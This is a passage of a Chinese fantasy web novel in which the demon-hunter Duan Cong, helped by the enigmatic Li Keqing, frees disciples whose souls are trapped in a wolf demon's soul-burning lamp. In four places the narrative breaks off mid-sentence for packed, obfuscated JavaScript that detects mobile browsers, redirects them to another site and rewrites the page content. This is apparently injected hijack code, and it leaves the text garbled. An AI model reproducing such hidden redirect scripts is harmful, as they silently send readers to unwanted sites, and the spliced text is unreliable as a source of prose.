昨晚一夜都被明晃晃的照着,又担心猫妖的事,几乎就没合过眼。到了后来,好不容易迷迷糊糊快要睡着了,她又被李刻青叫醒了,说是天亮了,该去捉妖了。 段匆那个恨啊,咬牙切齿啊。 起先,为对付猫妖,段匆还强打起了十二分的警惕,但走了好久好久,一路上什么都没有发生,段匆渐渐的松懈起来,昏昏欲睡了。 忽然,李刻青停下了。 段匆正想问发生了什么,下一刻一种异样的气场便出现在前方,她打了一个激灵,瞬间清醒了。 是阵法。 哪个人设下的阵法,便会自然而然沾染那个人的法力气息。 而此刻他们面前这个阵法,气息和几天前她遇到的“周浮生”,也就是狼妖金吾术用来诱她入阵的那个阵法一模一样。 狼妖来过这里! “怎么办?我们得尽快破阵。”段匆皱眉道,袖袋中的寂风已经在蠢蠢欲动。 要想破阵,就得先找阵眼,这样才有把握。段匆正想和李刻青商量,分头去寻找阵眼,顺便再定个暗号什么的,要是她被那狼妖发现了,就可以呼唤他来救命。 结果还没说出口,她看到李刻青略一挑眉,然后信手一挥。 顿时,围绕在周遭的法力死寂下来,没有了一丝波澜。 阵破了。 段匆瞠目结舌。他的法力比她强出太多了。这若是和他正面作战,恐怕他一招就能制服她。 还好啊还好,他不是那猫妖! 但转念一想,段匆却又重新怀疑了。恰恰在这个时机出现在参商山上,且法力又这么强大,就和传闻中的猫妖一样。 这样的巧合堆积之下,她反而更倾向于相信他是猫妖了。 可是,又回到了那个问题,如果是猫妖的话,为何摸他的肚子,他却没有反应? 难道是师父的方法不可靠? 越想越乱,段匆暂时压下疑窦,将目光放向了狼妖的阵法。 阵法既已破,被困在其中的人便也显形出来。 段匆欣喜的发现,她的同门们一个不落,都在其中。 “大师兄!有容师姐!”她叫道,但却未得到回应。 她怔了一下,仔细一打量。 这一眼,她顿时打了一个哆嗦——他们人是都在这儿了,也都手脚俱全,没有被狼妖或是猫妖咬了去,但那一张张脸,表情恍惚,双眼呆滞,黯淡无光,简直像是丢了魂似的。 ……的确是丢了魂。 因为段匆随即又看到,在他们一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060155|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的中心,有一盏古朴神秘的灯盏,燃着幽幽的青色火焰,且火苗似是在吸食他们的精气一般,越变越大。 燃魄灯。 天门宗的藏书阁,里面有一间秘室,上面的书架子上落满灰尘,放的都是些与邪门歪道有关的泛黄旧书,一直以来,本派弟子都被禁止去那秘室。 但段匆年少时,求知欲重,或者说是好奇心重,又或者更准确来说叫做爱作死,越是不让做就越是要做,越知山有虎,就越要向虎山行。 有一次,她趁着看守藏书阁的长老不在,偷偷的溜进秘室,待了一个夜晚。 这一个夜晚,她捏出几只发光灵蝶飞在空中照明,然后求贤若渴的看了不少旁门左道的禁书。 什么妖道魔道啦,什么飞升成仙啦,什么长生不老啦,什么以命换命啦…… 而其中这“以命换命”中,就提到了燃魄灯。 妖有元神,人有魂魄。 一般来说,妖死后,若要想它复活,就得重聚它的元神。不过当然,正规的法术是不可能做到这一点的。 而在这生死上,人与妖罕见的是平等的。 人死后,若想他复活,就要重聚他的魂魄,但正规的法术中也绝无“聚魂”这一说,只有旁门左道中有记载,而所记载的方法,就是“燃魄灯”。 找到一万个人,将他们的魂魄封存于灯中,然后便能进行“换魂之术”,以这万人的命,换回所要救的那人的命。 段匆心一沉。 难怪当日狼妖要诱她入阵,他是把她也算作了那一万人中的一个,想用燃魄灯吸食走她的魂魄来换魂! 而师兄师姐们,已然已经落难。 唯一值得庆幸的是,燃魄灯火焰尚在变大,说明狼妖还在抓人,一万个人还不够,换魂之术还未开始。 但是,她也没有办法将他们救出来。 书上说,魂魄离体之后,便失去了保护,此时全靠燃魄灯将其聚拢在一起。如果贸然打破燃魄灯,那么灯中的魂魄便会烟消云散,不可挽回。 段匆为难住了。 当日她真该好好看看那禁书的,看看有什么法子既可以将他们的魂魄从灯中拿出来,又不至于伤害到那些魂魄。 只是当时藏书阁的长老已经发现她擅闯秘室,气势汹汹的赶来问罪了。 她把书一丢,兔子一样的逃窜而去,生怕被抓到,哪还顾得上惦记什么法子? 段匆忙捏出一只千里传音蝶,只是不知为何,这次连唤数声,师父都没有答应。 师父有事? 她又给众师叔、掌门人、还有尚在宗门中各位认识的小师弟小师妹传话,也俱无人应答。 这时,她忽然听到一个极有自信的声音道:“我有办法。” 段匆抬头,看到李刻青悠然摇动着手中折扇,笑意吟吟,好像是已经等待了很久。 5. 第 5 章 “去蓬莱?!”段匆诧异极了,没想到这就是他说的办法。 “不错,蓬莱岛上的百草道人与我私交甚好,他医术出神入化,无所不知,无所不晓,想必将魂魄完好无损的取出燃魄灯的法子,对他来说也不在话下。”李刻青说的极为真实,由不得人不信的样子。 但段匆无法不多留个心眼:“既是你的好友,那由你出面去找他岂不更好?” 李刻青诚恳道:“我去倒也没问题,可若是留你在这里,狼妖来了,如何是好呢?” 段匆:“……” 他说的对。 他留下,狼妖来了,大家都是安全的。 可要是她留下,万一狼妖来了,不仅打不过不说,要是无法阻止狼妖换魂,那就真是铸成大错、不可挽回了。 但是,让同门们和他待在一起,她也无法完全放心啊。 段匆忽然灵机一动:“不如我们用千里传音联系他??” 李刻青一脸遗憾的样子:“他不会。” 段匆那个哀怨啊,都什么年代了,竟然还有修行之人还有不会千里传音术的!这就像是上晨课不带书、吃饺子不蘸醋、出门捉妖没有剑……好吧,她真没剑。 正想不出好办法、磨磨蹭蹭之时,一个突如其来的危险气息让两人俱心头一凛,瞬间飞掠到旁边的一棵杏树上藏了起来。只见来者是个一袭黑衣的年轻男人,他的容貌本该算得上丰神俊朗,只是此刻嘴唇紧抿,面沉如水,那双眼睛好似散发着莹莹的幽绿色光芒,让人莫名打个寒颤。 而他手中,正拎小鸡似的提着一个身形小巧的女子。 段匆留心一打量这女子的眉眼,顿时惊呼:“师妹!” 眼见这黑衣男人就要将师妹丢到燃魄灯中了,段匆忙跳下树:“住手!” “是你?”男人声音嘶哑,怪笑起来。 段匆立马就从这熟悉的笑声中察觉到了点什么——几天之前,那个“周浮生”也如同这样诡异疯癫。 “狼妖金吾术!!!” 金吾术似是懒得同她废话,丢下师妹,五指化作利爪就向她袭来。 而后便是一把青色折扇,游刃有余的接住了这一爪。 尽管不知是不是猫妖,但他在身边确实让人感到十分安全,否则,段匆也不敢这么冒冒失失就跳出来了。 “狼妖,你死心不改,究竟有什么妖物是值得你花费一万个人的性命去救的?”段匆从袖袋中掏出红伞寂风,指着金吾术喝道。 “当年孟天师就该将你这个狼族余孽也一并斩杀。” 不知这话哪里戳到了金吾术的痛处,他徒然颤抖,尖声厉笑起来,笑的最后眼泪都流出来,或许已知自己没有胜算,他笑毕,看了他们一眼,倏地消失。 不知为何,段匆竟觉得他最后那个眼神不只有仇恨、冰冷,隐约还有一种……难以言表的绝望和悲伤。 “燃魄灯还在这里,他还会回来的。”李刻青好整以暇的收回折扇,道。 段匆点点头,有了一个主意。 她拍拍方才被狼妖丢在一边的师妹的脸:“宁芙师妹,醒醒。” 宁芙本来也没受什么伤,只是被这可怖疯癫的狼妖吓到了,才晕了过去。如今这么一唤,她很快便醒转过来,看到眼前女子熟悉的脸,顿时一颗心落了地,委屈道:“师姐!” “好了好了,无事了,”段匆问她:“你怎么会被狼妖捉住?师父他们呢,为何千里传音无人应答?” 宁芙一听这话,顿时有些羞耻。 天门宗是天下第一大门派,寻常百姓无不向往,每年天门宗从民间选拔弟子时,便纷纷挤破头皮的将自家儿女送入其中。而又因修行之道,讲究早早的培养“慧根”,因此往往,从那些五六岁的小娃娃便开始选起。 当爹娘的为了孩子能出人头地,将尚还年幼、依赖父母的孩子甩手交到天门宗手上,孩子若哭闹,还一咬牙狠拍一巴掌道:“没出息!” 全然不顾五六岁的孩子,骤然离开家乡,到了一个陌生的、森严的门派之中,心里如何惶惑无依。 宁芙就是这样一个孩子。 当日和爹娘分离,她揪扯着他们的衣角,泪如断线,求他们不要让自己一个人上山修行,她情愿一辈子平庸无名。 她爹甩开她的手,恶狠狠说:“谁叫咱家穷呢?你安心的去吧,未来,爹娘可就指望着你争一口气了。” 相比之下,她娘就有人情味许多,这个安分守己了一辈子的女人,这一回离经叛道——将丈夫攒的铜钱偷了一把出来,偷偷塞进宁芙的袖子里,抹抹眼泪:“孩,去吧。” 宁芙绝望的上了那座山,从此,和她朝夕与共相处的便不再是骨血相连的父母,而是另一群同样大的男童女童。 尽管再戒律森严,仙气飘飘,但有人的地方永远就免不了江湖事端——一群小孩子中,总有些嚣张跋扈,爱好拉帮结派、颐指气使,而敏感早慧、背后又无家族支撑的宁芙,自然就成了众人欺负的对象。 当然,并不是所有背后有门路有关系的孩子都那么爱欺负人,比如师父的亲生儿子,周浮生。 宁芙有时候自己都诧异,六岁时师门中给每个小弟子发了一把桃木剑,嘱咐好好保管,但她那把却被一个叫王双的孩子一脚踩断,得意大笑。周浮生便是这时出现,将王双痛揍一顿,王双鼻青脸肿,却还幸灾乐祸的大喊:“她丢了剑,就等着师父把她赶出山门吧!” 周浮生一挑眉,然后,将自己的桃木剑丢给了宁芙。 这样的场景,十多年了,她竟还记得。 其实只不过一把木头剑,就算断了也无伤大雅,但当时幼小的宁芙却方寸大乱,好像犯了天大的错,唯恐师父将她扫地出门,父母又不要她,从此她无家可归。 或许也是因为如此,周小公子当时那漫不经心、随手丢来的木头剑才沉甸甸的砸进了她心头、他当时那副打抱不平的傲然神情,十几年了,她还念念不忘吧。 当然,事实证明,周浮生周公子并不是个清风明月的正人君子,当年所为大概也只不过是觉得王双不顺眼、随手为之罢了。 渐渐长大的周浮生,尖酸刻薄,龇牙咧嘴,专好夺占师弟师妹们的法器,同时欺压勒索他们为自己代抄门规戒律。 为何要抄门规戒律呢?自然是因为他被罚了。 而为何被罚呢? ……因为他抢夺法器。 周浮生就这样在一个恶性闭环中歪斜的成长起来,一个大师兄当的人人嗤之以鼻。 但是在宁芙心中,却始终觉得,他是很好的。 所以,这次听说大师兄去擒拿猫妖,但是一去不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060156|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 返的事,她在师门中寝食不安,最终一咬牙,偷偷一个人溜下了山,朝参商山赶去。 走到一半,面前出现了一座阴气森森的山,大师兄笑呵呵的从那山路上走下来,她毫无怀疑,跟着他一起到了那眼咕嘟冒泡的潭水阵眼前,一闭眼跳下去,人就到狼妖手中了。 至于师父他们,她下山之后,就和段匆一样不得而知了。 当然,给段匆的讲述中,宁芙是略去了自己的那些感情的。 段匆沉吟道:“和当初抓我一样的手段,总之,我们得尽快阻止他了。” 说完偷偷瞄一眼李刻青,把宁芙拉远点,在她耳边小声说:“我去蓬莱岛找救回他们的法子,师妹你盯紧他,他有什么动作,就立马传音告诉我。” 宁芙不解,他看起来像个好人,刚刚狼妖出现,他不是还帮了她们吗? 段匆瞧见她疑惑的眼神,想将这人可能是猫妖的猜测告诉她,但又怕师妹被吓到,再晕过去,那就得不偿失了。于是只含糊道:“他爱占小便宜,心术不太好。” 宁芙点点头。 临别之际,李刻青忽然道:“等等。” 段匆:“啊?” 只见他将折扇如一把刀一样飞出去,斩落周遭一圈杏花树的枝桠,有一个东西从上面掉了下来,伴着一个细声细气的叫唤:“哎哟!” 李刻青走过去,从地上拎起那东西——段匆一看,惊的张大嘴巴。 只见这是一个毛茸茸的草团子,随着李刻青将它抖动几下,它身上掉下散发着清香之气的草木屑,一双扑闪扑闪的大眼睛充满愤怒:“很痛呀!干嘛呀?” “草、草精?” “不错,”李刻青笑吟吟道,“蓬莱路远,一个人难免寂寞,就让它伴你一程吧。” 草精霎时十分高兴,它早就待够了参商山,闻够了杏花香,也看够了某张因太过熟悉而显得讨厌的脸。 它立刻从李刻青手中蹦出来,跳到段匆肩膀上,亲切又快乐的跳来跳去:“走喽!走喽!” 段匆:“……” 她十分怀疑这是李刻青派来监视自己的小内鬼,但看这小内鬼细胳膊细腿,好吧,它没有胳膊腿……但看这小内鬼修为薄弱到连个人形都化不出来,小小一团草,自己一把就能把它捏碎,于是又宽慰几分,带着它上路了。 回头一看,那抹青色衣衫已经很远,只淡淡小小的一个影子,段匆决定先发制人,貌似不经意道:“小草精你和他认识呀?” “认识呀!”草精摇头晃脑,在她肩头落下一小片草屑。 “认识很久了吧?” “喔!”草精脱口道。 段匆一喜,心想妖怪,这不是漏出破绽了吧? 若不是久居参商山,又怎么会认识住在参商山上的草精? 谁知草精下一刻十分亲昵的蹭着她的脸道:“小草的寿命与人不同,春生冬死,人间的一个四季就是一生。所以,我和你也已经认识好久了呢。真的,好久好久了呢!” 段匆:“……” 就这样结伴而行,草精天真单纯,的确给段匆带来了不少乐趣。匆匆赶了三日路后,她们终于到了蓬莱岛前,趁坐一只渔夫的小船渡过海洋,到了岛上。 一上岛,向前走了几步,便觉仙气缭绕,弥漫着一股淡淡的药草清香。 6. 第 6 章 此岛上充满奇珍花草、药草,走在其间,的确让人心旷神怡,如临仙境。但不好的是,段匆和草精来回绕了好几个圈子,连类似住人的地方都没发现一个,更别提找到百草道人了。 正发愁该怎么办呢,草精忽然哆嗦起来,嗖一下躲到了段匆的袖袋中,怎么叫也不出来。 段匆纳闷的往前方一瞧—— 只见一棵滔天巨树,上面仿佛开着一朵一朵黑色的花朵,垂下千万条细细的流苏叶子。但仔细一瞧,却发现那花朵原来是一颗一颗人头,那流苏叶子,是人头上长长垂下来的头发! 那些人头已经发现了她们,齐刷刷的望过来,千百只黑幽幽的眼睛盯着她们。段匆被吓了一跳,但见这些人头并没有攻击她们的意思,便鼓起勇气问了个路:“请问诸位姐姐,知道百草道人身在何处吗?” 这些人头花枝乱颤的笑起来。 段匆以为她们没听明白,硬着头皮又重复一遍,结果人头中仍旧不回答,只是笑。 笑着笑着,那人头一颗颗的、从树上掉了下来! 草精发出尖叫,段匆也脸都吓白了,拔腿就跑。 终于逃离了那树,段匆弯着腰,累的气喘吁吁,草精从袖袋中钻出来,草屑被吓的飘飘扬扬掉了一大把,两人俱是发愁:这岛看起来仙风道骨的,怎么会有此等妖物? 忽然之间,地面有些轻微的震动,随之而来的,是一个身量高大、背着一只药箱、神情温和中带着点憨厚的男人。 段匆磕磕巴巴道:“你、你是……” “两位可是要看病咩?”男人倒十分有礼节。 “你是百草道人吗?” “我是个看病的大夫,包治百病。”男人拍了拍自己的药箱。 他也不给明确的答案,两人无奈,只得先跟着他走,走着走着,周遭的花草渐渐高大起来,将几人的身影淹没其中,草精在段匆耳边悄悄说:“这里我们没来过。” 那或许就是正确的路了,段匆正放心了些许,却见草精那扑闪的大眼睛中再次充满了惊恐。 她也察觉到了不对劲,有些僵硬的低下头。 只见不知何时,她脚底下爬满了一群尖牙利嘴的鼠精,正哼哧哼哧的使着劲儿,将她悬空抬了起来,而短短片刻中,一旁那看病的男人已经不见了踪影。 “妖怪休得猖狂……” 话还没喊完,段匆便觉得天旋地转,原来这群鼠精嫌她竖起来太过高大,于是将她整个人撂倒在了地上,这一撮一只胳膊,那一撮一只腿,将她又横着抬了起来,往前方送去。 段匆又惊又惧,但又心想:且看它们要到什么地方去。 穿行许久,她们经过一个洞穴,在一阵狭隘黑暗过后,眼前豁然一亮。 这是一处宅院,院子里放着只一人高的罐子,里面正煮着草药,一个鹤发童颜、笑眯眯的老头子正拿把扇子扇火。 “百草道人?!”段匆叫道。 老头子瞧她一眼:“正是小老儿,怎么了?” 这群鼠精还抬着她,不知要去哪里,段匆忙道:“哎哎哎这群妖怪是怎么回事啊?道人你先救我下来,我再和你细说!” 百草道人一挥手。 顿时,小鼠精们走的更加卖力,将她抬到了那滚烫沸腾的草药罐子旁边。 段匆有些不妙的预感,但见这老头儿仙风道骨的,心想他总不至于和妖孽为伍吧。然而就在下一刻,老头子那有些顽皮的笑意瞬间消失,眼神凌厉的喝道:“丢进去!” 段匆:“???” 这都什么鬼啊!她卖力挣扎起来:“我们千里迢迢来找你救人,你怎么反而沦落至此?” 百草道人已经掀开了草药罐子的盖子,热气扑了一脸,小鼠精们排成一条队将她送上来,百草道人满意而又阴险的道:“我等着你千里迢迢的来这里,就是为了把你腌成草药喝。” 还不待段匆使出寂风和血引,她就被投进了罐子。 小草精这次倒是很义气的不离不弃,跟着她一同坠入了其中。 本以为怎么也落得个皮开肉绽,但没想到,掉入罐子的一瞬间,周遭不仅不热,也没有水,反而是一片漆黑又空旷的土地。段匆疑惑的摸来摸去,感到上方有一块地方是松动的,她一用力,将那地方顶了开来。 明亮的光线倾泻进来。 段匆忙带着草精爬上去,可是还不待劫后余生的喘一口气,她们便看到方才那老头儿正悠然的坐在一边喝茶。 “寂风,出!” 这次段匆半点不敢迟疑的唤出红伞:“百草妖道,你到底想干什么?” 百草道人转过头来,十分伤感的叹了一口气:“小老儿一番好心,被当做驴肝肺喽。” 好心? 段匆愣了一下,将前因后果仔细的思索一番。 她们一路所遇,那棵人面树,还有那要看病的男人,那群小鼠精,现在看来,都是妖怪。而他和这些妖物明明是一伙的,刚才还指挥着要将她们腌成草药呢,哪里有什么好心?思及此,段匆更加面色不善:“你冥顽不灵!你心怀不善!” 百草道人却道:“我要把你腌成草药,可是成了也不成?” 唉,这倒真没成,难道刚刚…… 段匆忽然懂了。 她放出一丝法力向外面那沸腾的草药罐子探去,果见那里面法力汹涌——— 幻术。 那罐子是这老头儿的幻术。 他这幻术连接屋内外,看似是跌进了滚烫的罐子,其实是来到了屋子的地底。 这样看来,他也的确没做什么坏事。只是段匆不理解了:“屋内外不过一门之隔,为什么要这么大费周章呢?” 小老头儿再度叹口气:“你看外面,可认得那些妖怪?” 段匆将窗户捅破一个洞朝外看,只见这一会儿工夫,院子里又多了好些妖怪。 有一只两个头,一个头是男人、一个头是女人,他们的身子相连在一起,手脚也相连在一起,男女神情俱温柔,时不时相视一笑。 “这是蒙双氏,这一男一女本为亲兄妹,因彼此相爱、结为夫妻而违背世常伦理,无处可去。” 段匆点头:“我认得。” 在天门宗时,她曾在妖物全书上见过这蒙双氏,只是没想到他们最终躲到了这里。 有一只黑发逶迤在地,上半身是人、下半身是蛇,只是那人的面孔上,一双眼睛却是瞎的,两只黑森森的空洞,眼角还有几丝鲜血,显得恐怖而凄厉。 这是烙女蛇,段匆也认得。 相传,烙女蛇本是人间一位县丞的小妾,一日,这县丞的正妻趁着县丞不在,用烧红的钉子烙瞎了小妾的眼睛。小妾自尽而亡,但因怨气太大,魂魄久久不散,最后化身妖物,将那正妻加以报复后,便消失在人间。 这些年,那位正妻一直在悬赏捉拿这蛇妖,报酬丰厚,引得很多捉妖师接下悬赏。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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百草道人十分洒脱的一挥手,道:“缘来缘去的,也就是那么回事儿。” 段匆:“……” 这可真是云里雾里了。 百草道人转身取来一个长长的檀木盒,交到她手上,段匆不敢怠慢,将盒子郑重的包进包裹,背在背上,道了谢,同百草道人告别。百草道人十分高傲的在背后瞧着她。 果然,刚走两步,段匆就发愁的转过头来:“这这这,我怎么出去啊?” “哼,跟着我吧。”这老头儿显出一副老当益壮的神气,在空中画了一个符咒,点在段匆身上,段匆顿时变得和草精一样大小,然后被老头儿装进袖袋,拢着手,镇定自若的打开门。 “长老,她已经煮烂了。”是烙蛇女得意的冷笑。 “哥,我们喝药膳吧。” “好,妹,啊——你喝第一口。” 这是蒙双氏。 “喝喝喝喝喝喝喝喝喝!”这是那群七嘴八舌的小鼠精。 “咩,这样不太好吧……”这是高山君,段匆感动,终于有个好心点的了,结果很快,便又听到烙蛇女阴险的吐着舌头,把一勺汤硬灌进高山君嘴里,然后那犹犹豫豫的声气顿时变成:“啊,味道还不错,要不,我再喝一口吧。” 段匆:“……” 这个乱七八糟的地方,赶快离开吧,她真是受够了! 7. 第 7 章 赶往参商山的路上,段匆心里还是有些忐忑的,直到终于到了地方,看到那抹熟悉的青色身影,她心里才蓦地踏实起来,抹了把汗,将包裹解下来,轻快道:“这是百草道人给的法宝。” 宁芙眼前一亮,下意识便要伸手接过来。 却被一只手将那包裹截胡了去。李刻青闲闲的笑看她道:“这东西你不会用,还是我收着吧。” 宁芙身子一僵,赔笑道:“是我唐突了。” 李刻青说是宁芙不会用,可自己将东西接过去,却又不怎么放在心上的样子。段匆看着燃魄灯不断蚕食变大的火焰,催促道:“快打开看看吧,尽早将他们救出来。” 李刻青唔了一声,忽然问:“他们对你很重要?” 这话就有些莫名其妙了。不过段匆想了想,还是认真回答道:“很重要。” 自打记事起,她就无父无母,在街头游荡,与恶狗抢食,吃也吃不好,睡也睡不好。直到那年天门宗选拔弟子,师父将脏兮兮的她从垃圾堆中捡了回去,她的生活才发生变化。 有了地方住,有了东西吃,也有了一群同龄的孩子们为伴。 相较于宁芙,段匆的心思就不那么细腻了,甚至颇有些没心没肺的傻乐模样,她很少受欺凌,因为在那之前就和对方乐成一片,大家一同练剑、背书,有时玩心大起,还会偷偷喝酒、逃晚课。 她真心的喜爱着天门宗这个地方,自然也在乎身边这群朝夕相处的人。 即使是刻薄讨人厌的大师兄,在这种时候,她也不希望他受到一丝一毫的伤害。 李刻青点头,笑道:“好。” 段匆看着那火苗还在不断变大,说明狼妖还在不断的抓人,有些着急了,正想说别磨蹭了来不及了我们快动手吧,就忽然觉得一阵沉沉的困意袭来,眼前一黑。 不知过了多久,于混沌中破开一条缝,段匆的脑袋才渐渐清明起来。 她清醒的第一个瞬间就在心中痛呼,完了。 刚才莫不是着了猫妖的道?这么些时候,有容师姐和大师兄他们恐怕已经遭遇不测了。继而更加绝望,若是他们已经死了,自己可有什么脸回去见师父啊? 如此胡思乱想着睁开眼睛,她却蓦地呆住了。 只见那青铜色的燃魄灯已经熄灭,而那其中成百上千的魂魄……已经复位,此刻正完好无损的揉着眼睛,醒转过来。这种感觉就仿佛失而复得,段匆顿时充满喜悦,扑过去朝着他们叫道:“大师兄!有容师姐!” 周浮生刚被人从燃魄灯中救出来,正游离恍惚,想不起发生了何事,忽然就看到一袭嫩黄色的衫子出现在眼前,随之而来的是那张以前从未在意、如今却突地一下鲜明灿烂的一张女子的笑脸。 “段……”他磨了一下牙齿,一时竟无法像以前那样大呼小叫的直称其名。 “小师妹。”这声音竟显得轻而温柔。 “你……那个,咳嗯,是你救了我们?” 段匆一怔,道:“不是我。” 不待周浮生再说话,她好像突然想起什么,站了起来,朝周遭望去。 却因狼妖的阵法被破、魂魄回归,周围熙熙攘攘、围满了获得解救的百姓,他们纷纷拉着她,眉开眼笑的不停道谢,段匆嗯嗯啊啊的应着,找不见那抹熟悉的青色衣衫,心头竟一时有些慌乱。 “师妹在找谁?”苏有容来到她身边,问道。 刚从生死关头逃了出来,其他人要么就是庆幸的拍着胸脯,眼泪汪汪,要么就是心有余悸,脸色发白的坐在地上休息。 但短短片刻间,苏有容却恢复的和从前一模一样,素白的衣衫,冷静的脸庞,手中握着自己那把古朴的佩剑,整个人稳重可靠、安然平和。 说起来,师门之中,人人都敬重有容师姐,她不仅剑术好,法力高强,而且为人正直高尚,比那个成天偷鸡摸狗的大师兄好多了。 而关于苏有容的身世,大家也隐约有所听说,好像她家本是一个有名的捉妖世家,但后来有一只狡猾阴险的狐妖,设下陷阱报复了他们家。她的父母,兄长,全都死于那狐妖之手,只有她侥幸逃脱。 上山的那一年,她十六岁。 天门宗选拔弟子选的早,从未见过这么大的人还来入门的。况且,她虽出生在捉妖世家,但不知为何,自己却完全没有修行,无一丝基础与法力。 于是一开始,掌门和诸位师叔谁都不愿将她收入门下。 但没想到她竟在山门下足足跪了九天九夜,最后到底,段匆他们那位老不正经的师父一咬牙,一拍手:“收了收了收了!叫她上来!” 就这样,苏有容以十六岁高龄入门,成了他们的师姐。 入门之后,她潜心修行,短短几年时间,法力就追赶上他们这些修行了十多年的弟子,再是短短几年,已然超越了他们,可以独当一面。 段匆每每想来,都十分自惭形秽。 如今有容师姐醒来,段匆瞬间有了依靠,抓住她的手:“师姐,那猫妖……” 话音停滞。 苏有容看到段匆的双眼也发直了,死死的盯着一个方向看,她也好奇的随之看去。 只见那棵散发着莹润光芒的杏树上,卧躺着一个着青色衣衫的男子。 满头黑发用一根红带子松松垮垮的拢在一起,他单手支着头,遥遥的也朝她们这边望来,面上带着若无其事的、行云流水般的笑意。只是……苏有容皱了皱眉,他的面色有些过于苍白了。 段匆已经匆忙跑到了他身边,苏有容跟上去。 “你……”见他还在这里,段匆一颗心落回地上。 那种说不出的焦灼与担忧消失了,她再次轻快起来,又开始以一个十分专业的捉妖师的身份盘算起来。清了清嗓子,段匆问苏有容道:“师姐,你们上次来斩杀猫妖,中间到底发生了什么?” 这话是故意说给李刻青听的,段匆心中不无得意:现在就来个当面对质,是真是假,就能见分晓了。 谁知苏有容忽然厉声道:“猫妖!” 段匆吃了一惊,她料想师姐知道些什么,但没想到师姐知道的这么直接与清楚,一开口便讲了出来! 却见李刻青仍旧躺在树上,不慌不忙的样子。 段匆这才仔细一凝神,发现有容师姐所说的猫妖并不是李刻青,而是另有其人。 那是一个一身黑衣、散发着浓浓血腥味的年轻男人,他本来身形高大,此刻却在杏树下蜷缩成了小小的一团。他神色凄惨绝望,口中不断喃喃念叨着些什么,好似陷入了噩梦。 段匆努力睁大双眼,这才终于将这男人认了出来,这是狼妖金吾术。 只是差别太大了,离开之前,她见到的他,双眼好似散发着幽绿色的狠厉光芒,而如今,这双眼睛涣散、可怜,与当初简直判若两人。 随着苏有容一声呼喊,周围的百姓已经三三两两都凑了上来,见到金吾术,都吓了一跳,但随即看到他已经成了这副模样,渐渐的又壮起胆子来,指着他唾骂道:“呸!天杀的猫妖!” “这参商山就是被你祸害了!” “你杀我同伴,将他的鲜血如雨水一样淋在我身上,你可还记得?” “啊,这猫妖竟如此恶心变态???” “老妇的儿子也是被他抓走,我三跪九叩,哀求不止,却还是没能求回我的儿子啊……” “娘,我在这儿!” “太好了,你们母子团圆哪……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060158|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诸位!诸位!”段匆越听越惊奇,大着嗓门连连叫喊,大家终于安静了下来,段匆指着金吾术,懵道:“这、这就是一直以来为祸一方的猫妖??” 大家都道:“是啊,看他,我记得很清楚,不是他还能有谁?” 苏有容也道:“我们上山来,遇到的的确是他。” “没有遇见过别的妖怪吗?” 苏有容摇头道:“没有。” 一时间,段匆不知作何感想。 原来一直以来众人口中那恶毒可怕的猫妖,其实是这只狼妖。他为了自己的私欲而启用禁术、蚕食了一万个人的魂魄,可打的,却是那只猫妖的名头。 大家嚷着嚷着,群情再次激愤起来,纷纷叫道:“处死他!” “没错!杀了他!让他赔命!” 段匆咳道:“诸位,他其实并不是猫妖,而是一只狼妖。” “啊?”大家疑惑了,但很快又满不在乎的摆手道:“反正他也做坏事,他也是妖怪,一样杀了。” “是啊,管他狼啊猫啊的,先杀了再说。” 这倒有道理。 只是,他们本该要讨伐的那只猫妖……段匆不小心对上李刻青的眼,那双眼平和闲散,笑眼弯弯,十分有深意的凝视着她。 段匆默默的别过了头。 “杀狼妖,杀狼妖!” 大家仍十分的激动,段匆趁此机会,走近一步,问李刻青道:“刚才到底发生了什么?我怎么不知不觉就睡过去了?” 李刻青一脸诚实道:“是这样。当时我正要打开百草道人送来的法宝,这狼妖便偷偷出现了,他知道你与你那位师妹好对付,便悄无声息的将你们打晕,又在背后偷袭我一招,可真是痛啊。” 段匆见他面色确实极为苍白,不由关切道:“现在还好吧?” “好多了,”李刻青看她一眼,笑眯眯道:“我当然也没让他好过,顺手将他撂倒,然后用法宝将那些魂魄保护着释放出来,这时候,你们便也醒了。” 竟然这么轻松?上古禁术,就这样被化解了? 段匆不由道:“我能看看那法宝吗?” “当然可以。”李刻青将那个长长的檀木盒递给她。 段匆打开,顿时僵住了。 